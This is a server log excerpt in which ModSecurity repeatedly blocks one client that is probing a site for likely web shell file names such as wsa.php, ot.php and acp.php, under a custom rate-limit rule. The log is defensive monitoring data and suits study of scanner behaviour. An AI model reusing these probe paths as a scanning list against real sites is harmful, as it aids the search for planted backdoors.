[Sun Dec 21 22:39:54.394255 2025] [:error] [pid 59070:tid 59130] [client 104.215.59.38:36531] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file12.php"] [unique_id "aUgGun3dhXne9KX1kgJw5AAAAII"]
[Sun Dec 21 22:39:54.914515 2025] [:error] [pid 59068:tid 59105] [client 104.215.59.38:51546] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file13.php"] [unique_id "aUgGuhmLyLqWUlrjwyew-AAAAEQ"]
[Sun Dec 21 22:39:55.377379 2025] [:error] [pid 59068:tid 59114] [client 104.215.59.38:3935] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file13.php"] [unique_id "aUgGuxmLyLqWUlrjwyew-QAAAE0"]
[Sun Dec 21 22:39:55.939805 2025] [:error] [pid 65237:tid 65262] [client 104.215.59.38:37029] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file13.php"] [unique_id "aUgGu1VJYjxIpnUJfgJhoAAAAZc"]
[Sun Dec 21 22:39:56.457932 2025] [:error] [pid 30183:tid 30208] [client 104.215.59.38:38836] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file13.php"] [unique_id "aUgGvOCmP2zCzk_WZcUwnAAAARc"]
[Sun Dec 21 22:39:57.491805 2025] [:error] [pid 30183:tid 30209] [client 104.215.59.38:36497] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file14.php"] [unique_id "aUgGveCmP2zCzk_WZcUwnQAAARg"]
[Sun Dec 21 22:39:58.221809 2025] [:error] [pid 65237:tid 65244] [client 104.215.59.38:3384] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file14.php"] [unique_id "aUgGvlVJYjxIpnUJfgJhpQAAAYU"]
[Sun Dec 21 22:39:59.043494 2025] [:error] [pid 59158:tid 59181] [client 104.215.59.38:22970] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file14.php"] [unique_id "aUgGv47NvyNF8ab5VgVnKgAAANU"]
[Sun Dec 21 22:40:00.070783 2025] [:error] [pid 30183:tid 30203] [client 104.215.59.38:24266] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file14.php"] [unique_id "aUgGwOCmP2zCzk_WZcUwnwAAARI"]
[Sun Dec 21 22:40:01.287307 2025] [:error] [pid 59070:tid 59141] [client 104.215.59.38:3761] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file15.php"] [unique_id "aUgGwX3dhXne9KX1kgJw7gAAAI0"]
[Sun Dec 21 22:40:02.380757 2025] [:error] [pid 59067:tid 59090] [client 104.215.59.38:3351] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file15.php"] [unique_id "aUgGwstpsOP1NfIK_qKFtwAAABA"]
[Sun Dec 21 22:40:03.160927 2025] [:error] [pid 30183:tid 30199] [client 104.215.59.38:3762] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file15.php"] [unique_id "aUgGw-CmP2zCzk_WZcUwogAAAQ4"]
[Sun Dec 21 22:40:03.676525 2025] [:error] [pid 59068:tid 59111] [client 104.215.59.38:22947] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file15.php"] [unique_id "aUgGwxmLyLqWUlrjwyexAwAAAEo"]
[Sun Dec 21 22:40:08.690805 2025] [:error] [pid 65237:tid 65260] [client 104.215.59.38:51534] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file29.php"] [unique_id "aUgGyFVJYjxIpnUJfgJhtgAAAZU"]
[Sun Dec 21 22:40:09.351118 2025] [:error] [pid 59068:tid 59116] [client 104.215.59.38:3915] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file29.php"] [unique_id "aUgGyRmLyLqWUlrjwyexDAAAAE8"]
[Sun Dec 21 22:40:10.441385 2025] [:error] [pid 59067:tid 59080] [client 104.215.59.38:36535] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file29.php"] [unique_id "aUgGystpsOP1NfIK_qKFvAAAAAY"]
[Sun Dec 21 22:40:11.168468 2025] [:error] [pid 65237:tid 65242] [client 104.215.59.38:22925] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file29.php"] [unique_id "aUgGy1VJYjxIpnUJfgJhuAAAAYM"]
[Sun Dec 21 22:40:11.803472 2025] [:error] [pid 59070:tid 59148] [client 104.215.59.38:36491] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file30.php"] [unique_id "aUgGy33dhXne9KX1kgJxCgAAAJQ"]
[Sun Dec 21 22:40:12.634812 2025] [:error] [pid 59068:tid 59102] [client 104.215.59.38:38789] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file30.php"] [unique_id "aUgGzBmLyLqWUlrjwyexEgAAAEE"]
[Sun Dec 21 22:40:13.061513 2025] [:error] [pid 59070:tid 59133] [client 104.215.59.38:37045] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file30.php"] [unique_id "aUgGzX3dhXne9KX1kgJxEwAAAIU"]
[Sun Dec 21 22:40:13.712336 2025] [:error] [pid 65237:tid 65262] [client 104.215.59.38:32612] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file30.php"] [unique_id "aUgGzVVJYjxIpnUJfgJhugAAAZc"]
[Sun Dec 21 22:40:14.320711 2025] [:error] [pid 59070:tid 59148] [client 104.215.59.38:37033] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aUgGzn3dhXne9KX1kgJxGAAAAJQ"]
[Sun Dec 21 22:40:15.711364 2025] [:error] [pid 65237:tid 65254] [client 104.215.59.38:3748] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aUgGz1VJYjxIpnUJfgJhvAAAAY8"]
[Sun Dec 21 22:40:16.173767 2025] [:error] [pid 42755:tid 42764] [client 104.215.59.38:36522] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aUgG0OW0XvxgXMTJJbv4vQAAAUc"]
[Sun Dec 21 22:40:16.931611 2025] [:error] [pid 59070:tid 59151] [client 104.215.59.38:51572] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aUgG0H3dhXne9KX1kgJxIwAAAJc"]
[Sun Dec 21 22:40:17.780423 2025] [:error] [pid 59070:tid 59142] [client 104.215.59.38:3156] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsa.php"] [unique_id "aUgG0X3dhXne9KX1kgJxKgAAAI4"]
[Sun Dec 21 22:40:18.396806 2025] [:error] [pid 59158:tid 59165] [client 104.215.59.38:36002] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsa.php"] [unique_id "aUgG0o7NvyNF8ab5VgVnQAAAAMU"]
[Sun Dec 21 22:40:19.911708 2025] [:error] [pid 65237:tid 65260] [client 104.215.59.38:23894] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsa.php"] [unique_id "aUgG01VJYjxIpnUJfgJhvwAAAZU"]
[Sun Dec 21 22:40:20.370955 2025] [:error] [pid 65237:tid 65255] [client 104.215.59.38:38822] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsa.php"] [unique_id "aUgG1FVJYjxIpnUJfgJhwQAAAZA"]
[Sun Dec 21 22:40:21.402606 2025] [:error] [pid 30183:tid 30185] [client 104.215.59.38:51642] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpcx.php"] [unique_id "aUgG1eCmP2zCzk_WZcUwuwAAAQA"]
[Sun Dec 21 22:40:22.335314 2025] [:error] [pid 59070:tid 59138] [client 104.215.59.38:22056] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpcx.php"] [unique_id "aUgG1n3dhXne9KX1kgJxMgAAAIo"]
[Sun Dec 21 22:40:23.361654 2025] [:error] [pid 59070:tid 59135] [client 104.215.59.38:22048] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpcx.php"] [unique_id "aUgG133dhXne9KX1kgJxNQAAAIc"]
[Sun Dec 21 22:40:24.149116 2025] [:error] [pid 59067:tid 59074] [client 104.215.59.38:38431] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpcx.php"] [unique_id "aUgG2MtpsOP1NfIK_qKFwQAAAAA"]
[Sun Dec 21 22:40:24.706988 2025] [:error] [pid 42755:tid 42762] [client 104.215.59.38:32677] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ot.php"] [unique_id "aUgG2OW0XvxgXMTJJbv4yQAAAUU"]
[Sun Dec 21 22:40:25.173004 2025] [:error] [pid 65237:tid 65254] [client 104.215.59.38:3949] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ot.php"] [unique_id "aUgG2VVJYjxIpnUJfgJhywAAAY8"]
[Sun Dec 21 22:40:25.636344 2025] [:error] [pid 65237:tid 65244] [client 104.215.59.38:3934] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ot.php"] [unique_id "aUgG2VVJYjxIpnUJfgJhzQAAAYU"]
[Sun Dec 21 22:40:26.533942 2025] [:error] [pid 42755:tid 42760] [client 104.215.59.38:24309] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ot.php"] [unique_id "aUgG2uW0XvxgXMTJJbv4ywAAAUM"]
[Sun Dec 21 22:40:27.310066 2025] [:error] [pid 59070:tid 59140] [client 104.215.59.38:3174] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aUgG233dhXne9KX1kgJxPAAAAIw"]
[Sun Dec 21 22:40:27.992253 2025] [:error] [pid 59070:tid 59135] [client 104.215.59.38:36027] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aUgG233dhXne9KX1kgJxPwAAAIc"]
[Sun Dec 21 22:40:28.415241 2025] [:error] [pid 59070:tid 59147] [client 104.215.59.38:51637] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aUgG3H3dhXne9KX1kgJxQAAAAJM"]
[Sun Dec 21 22:40:29.329073 2025] [:error] [pid 59068:tid 59121] [client 104.215.59.38:32004] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aUgG3RmLyLqWUlrjwyexIQAAAFQ"]
[Sun Dec 21 22:40:29.794419 2025] [:error] [pid 42755:tid 42770] [client 104.215.59.38:29539] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad.php"] [unique_id "aUgG3eW0XvxgXMTJJbv4zgAAAU0"]
[Sun Dec 21 22:40:30.491788 2025] [:error] [pid 59158:tid 59170] [client 104.215.59.38:38423] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad.php"] [unique_id "aUgG3o7NvyNF8ab5VgVnYwAAAMo"]
[Sun Dec 21 22:40:31.659195 2025] [:error] [pid 59068:tid 59109] [client 104.215.59.38:25042] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad.php"] [unique_id "aUgG3xmLyLqWUlrjwyexIwAAAEg"]
[Sun Dec 21 22:40:32.337469 2025] [:error] [pid 59158:tid 59179] [client 104.215.59.38:24278] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad.php"] [unique_id "aUgG4I7NvyNF8ab5VgVnawAAANM"]
[Sun Dec 21 22:40:32.791701 2025] [:error] [pid 42755:tid 42776] [client 104.215.59.38:24301] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aUgG4OW0XvxgXMTJJbv41AAAAVM"]
[Sun Dec 21 22:40:34.057968 2025] [:error] [pid 59067:tid 59076] [client 104.215.59.38:24218] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aUgG4stpsOP1NfIK_qKFyAAAAAI"]
[Sun Dec 21 22:40:35.863454 2025] [:error] [pid 59158:tid 59175] [client 104.215.59.38:35978] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aUgG447NvyNF8ab5VgVnfQAAAM8"]
[Sun Dec 21 22:40:37.292790 2025] [:error] [pid 59158:tid 59164] [client 104.215.59.38:37152] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aUgG5Y7NvyNF8ab5VgVnhQAAAMQ"]
[Sun Dec 21 22:40:37.960947 2025] [:error] [pid 59070:tid 59144] [client 104.215.59.38:24245] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aUgG5X3dhXne9KX1kgJxUAAAAJA"]
[Sun Dec 21 22:40:38.757873 2025] [:error] [pid 59158:tid 59173] [client 104.215.59.38:28512] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aUgG5o7NvyNF8ab5VgVnjQAAAM0"]
[Sun Dec 21 22:40:41.237582 2025] [:error] [pid 59067:tid 59082] [client 104.215.59.38:29527] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aUgG6ctpsOP1NfIK_qKFygAAAAg"]
[Sun Dec 21 22:40:42.434189 2025] [:error] [pid 30183:tid 30197] [client 104.215.59.38:32653] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aUgG6uCmP2zCzk_WZcUw0AAAAQw"]
[Sun Dec 21 22:40:43.035314 2025] [:error] [pid 65237:tid 65242] [client 104.215.59.38:22445] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aUgG61VJYjxIpnUJfgJh4gAAAYM"]
[Sun Dec 21 22:40:44.345862 2025] [:error] [pid 30183:tid 30208] [client 104.215.59.38:28482] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aUgG7OCmP2zCzk_WZcUw2AAAARc"]
[Sun Dec 21 22:40:44.912491 2025] [:error] [pid 59068:tid 59117] [client 104.215.59.38:37173] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aUgG7BmLyLqWUlrjwyexMwAAAFA"]
